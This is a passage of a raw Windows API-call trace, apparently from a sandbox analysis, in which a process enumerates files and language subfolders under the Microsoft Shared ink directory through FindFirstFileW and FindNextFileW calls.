FindNextFileW (in: hFindFile=0x4d88e0, lpFindFileData=0x2cae75c | out: lpFindFileData=0x2cae75c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9003b703, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x9003b703, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x90061861, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xacc, dwReserved0=0x0, dwReserved1=0x0, cFileName="symbase.xml", cAlternateFileName="")) returned 0 [0054.475] FindClose (in: hFindFile=0x4d88e0 | out: hFindFile=0x4d88e0) returned 1 [0054.475] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3840090 | out: hHeap=0xab0000) returned 1 [0054.475] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fe7269b, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fe7269b, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fe7269b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x24f, dwReserved0=0x0, dwReserved1=0x0, cFileName="symbols.xml", cAlternateFileName="")) returned 1 [0054.476] GetLastError () returned 0x12 [0054.476] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="web", cAlternateFileName="")) returned 1 [0054.476] GetLastError () returned 0x12 [0054.476] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\*" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web\\*"), lpFindFileData=0x2cae75c | out: lpFindFileData=0x2cae75c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d88e0 [0054.476] FindNextFileW (in: hFindFile=0x4d88e0, lpFindFileData=0x2cae75c | out: lpFindFileData=0x2cae75c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.476] FindNextFileW (in: hFindFile=0x4d88e0, lpFindFileData=0x2cae75c | out: lpFindFileData=0x2cae75c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x900d3c7b, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x900d3c7b, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x900f9dd9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x48e, dwReserved0=0x0, dwReserved1=0x0, cFileName="webbase.xml", cAlternateFileName="")) returned 1 [0054.476] GetLastError () returned 0x12 [0054.476] FindNextFileW (in: hFindFile=0x4d88e0, lpFindFileData=0x2cae75c | out: lpFindFileData=0x2cae75c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x900d3c7b, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x900d3c7b, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x900f9dd9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x48e, dwReserved0=0x0, dwReserved1=0x0, cFileName="webbase.xml", cAlternateFileName="")) returned 0 [0054.476] FindClose (in: hFindFile=0x4d88e0 | out: hFindFile=0x4d88e0) returned 1 [0054.476] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3840090 | out: hHeap=0xab0000) returned 1 [0054.476] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90061861, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x90061861, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x90061861, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xcf, dwReserved0=0x0, dwReserved1=0x0, cFileName="web.xml", cAlternateFileName="")) returned 1 [0054.476] GetLastError () returned 0x12 [0054.477] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90061861, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x90061861, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x90061861, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xcf, dwReserved0=0x0, dwReserved1=0x0, cFileName="web.xml", cAlternateFileName="")) returned 0 [0054.477] FindClose (in: hFindFile=0x4d8820 | out: hFindFile=0x4d8820) returned 1 [0054.477] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3820080 | out: hHeap=0xab0000) returned 1 [0054.477] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2caec64 | out: lpFindFileData=0x2caec64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-IL", cAlternateFileName="")) returned 1 [0054.477] GetLastError () returned 0x12 [0054.477] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\*" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\he-il\\*"), lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8820 [0054.477] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.477] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2bbf40b, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2dd4721, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2dd4721, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0054.478] GetLastError () returned 0x12 [0054.478] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2bbf40b, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2dd4721, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2dd4721, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0054.478] FindClose (in: hFindFile=0x4d8820 | out: hFindFile=0x4d8820) returned 1 [0054.478] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3820080 | out: hHeap=0xab0000) returned 1 [0054.478] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2caec64 | out: lpFindFileData=0x2caec64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-HR", cAlternateFileName="")) returned 1 [0054.478] GetLastError () returned 0x12 [0054.478] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\*" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hr-hr\\*"), lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8820 [0054.478] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.478] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe50f08dd, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe539e167, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe539e167, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0054.478] GetLastError () returned 0x12 [0054.478] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe50f08dd, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe539e167, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe539e167, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0054.479] FindClose (in: hFindFile=0x4d8820 | out: hFindFile=0x4d8820) returned 1 [0054.479] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3820080 | out: hHeap=0xab0000) returned 1 [0054.479] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2caec64 | out: lpFindFileData=0x2caec64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0054.479] GetLastError () returned 0x12 [0054.479] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\*" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hu-hu\\*"), lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8820 [0054.479] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.479] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8e3ba89, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe9004ae5, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe9004ae5, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0054.479] GetLastError () returned 0x12 [0054.479] FindNextFileW (in: hFindFile=0x4d8820, lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8e3ba89, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe9004ae5, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe9004ae5, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0054.479] FindClose (in: hFindFile=0x4d8820 | out: hFindFile=0x4d8820) returned 1 [0054.479] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3820080 | out: hHeap=0xab0000) returned 1 [0054.479] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2caec64 | out: lpFindFileData=0x2caec64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ece8572, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x2ece8572, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x2ea60e45, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0xb620, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrcommonlm.dat", cAlternateFileName="")) returned 1 [0054.480] GetLastError () returned 0x12 [0054.480] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2caec64 | out: lpFindFileData=0x2caec64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e0df36a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabda5f8, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HWRCustomization", cAlternateFileName="HWRCUS~1")) returned 1 [0054.480] GetLastError () returned 0x12 [0054.480] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HWRCustomization\\*" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcustomization\\*"), lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e0df36a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabda5f8, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d88e0 [0054.481] FindNextFileW (in: hFindFile=0x4d88e0, lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e0df36a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabda5f8, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.481] FindNextFileW (in: hFindFile=0x4d88e0, lpFindFileData=0x2cae9e0 | out: lpFindFileData=0x2cae9e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e0df36a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabda5f8, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0054.481] FindClose (in: hFindFile=0x4d88e0 | out: hFindFile=0x4d88e0) returned 1 [0054.481] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3820080 | out: hHeap=0xab0000) returned 1 [0054.481] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2caec64 | out: lpFindFileData=0x2caec64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f7eaa54, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x2f7eaa54, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x2f301d57, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0xb6710, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrenalm.dat", cAlternateFileName="")) returned 1 [0054.481] GetLastError () returned 0x12 [0054.481] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2caec64 | out: lpFindFileData=0x2caec64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33535c00, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x33535c00, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x332fa78d, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0xc7240, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrenclm.dat", cAlternateFileName="")) returned 1 [0054.481] GetLastError () returned 0x12 [0054.481] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2caec64 | out: lpFindFileData=0x2caec64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32bd661d, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x32bd661d, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x32a7f9d8, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x10ca50, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrlatinlm.dat", cAlternateFileName="")) returned 1 [0054.481] GetLastError () returned 0x12 [0054.481] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2caec64 | out: lpFindFileData=0x2caec64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d94dbb3, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x3d94dbb3, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x3c28ab1e, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x2e99a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwruklm.dat", cAlternateFileName="")) returned 1 [0054.481] GetLastError () returned 0x12 [0054.482] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2caec64 | out: lpFindFileData=0x2caec64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3da5853e, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x3da5853e, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x3d7f6f6e, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x21ff00, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwruksh.dat", cAlternateFileName="")) returned 1 [0054.482] GetLastError () returned 0x12 [0054.482] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2caec64 | out: lpFindFileData=0x2caec64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3db89026, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x3db89026, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x3d3cc942, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x30c330, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrusalm.dat", cAlternateFileName="")) returned 1 [0054.482] GetLastError () returned 0x12 [0054.482] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2caec64 | out: lpFindFileData=0x2caec64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dbfb43d, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x3dbfb43d, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x3da7e69b, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x3ee0d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrusash.dat", cAlternateFileName="")) returned 1 [0054.482] GetLastError () returned 0x12 [0054.482] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2caec64 | out: lpFindFileData=0x2caec64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c4bfb78, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x4c4bfb78, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x298e8420, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x56400, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkDiv.dll", cAlternateFileName="")) returned 1 [0054.482] GetLastError () returned 0x12 [0054.482] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2caec64 | out: lpFindFileData=0x2caec64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c412911, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x6c412911, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x29a8c2e0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x201800, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkObj.dll", cAlternateFileName="")) returned 1 [0054.482] GetLastError () returned 0x12 [0054.482] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2caec64 | out: lpFindFileData=0x2caec64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5eab8150, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x5eab8150, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xe4490e80, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x61000, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkWatson.exe", cAlternateFileName="")) returned 1 [0054.482] GetLastError () returned 0x12 [0054.482] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2caec64 | out: lpFindFileData=0x2caec64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7700d105, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x7700d105, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xe45c2150, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x5da00, dwReserved0=0x0, dwReserved1=0x0, cFileName="InputPersonalization.exe", cAlternateFileName="")) returned 1 [0054.482] GetLastError () returned 0x12 [0054.483] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2caec64 | out: lpFindFileData=0x2caec64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91865215, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x91865215, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa20, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipscat.xml", cAlternateFileName="")) returned 1 [0054.483] GetLastError () returned 0x12 [0054.483] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2caec64 | out: lpFindFileData=0x2caec64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27bfdab7, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27bfdab7, ftLastAccessTime.dwHighDateTime=0x1ca03fa, 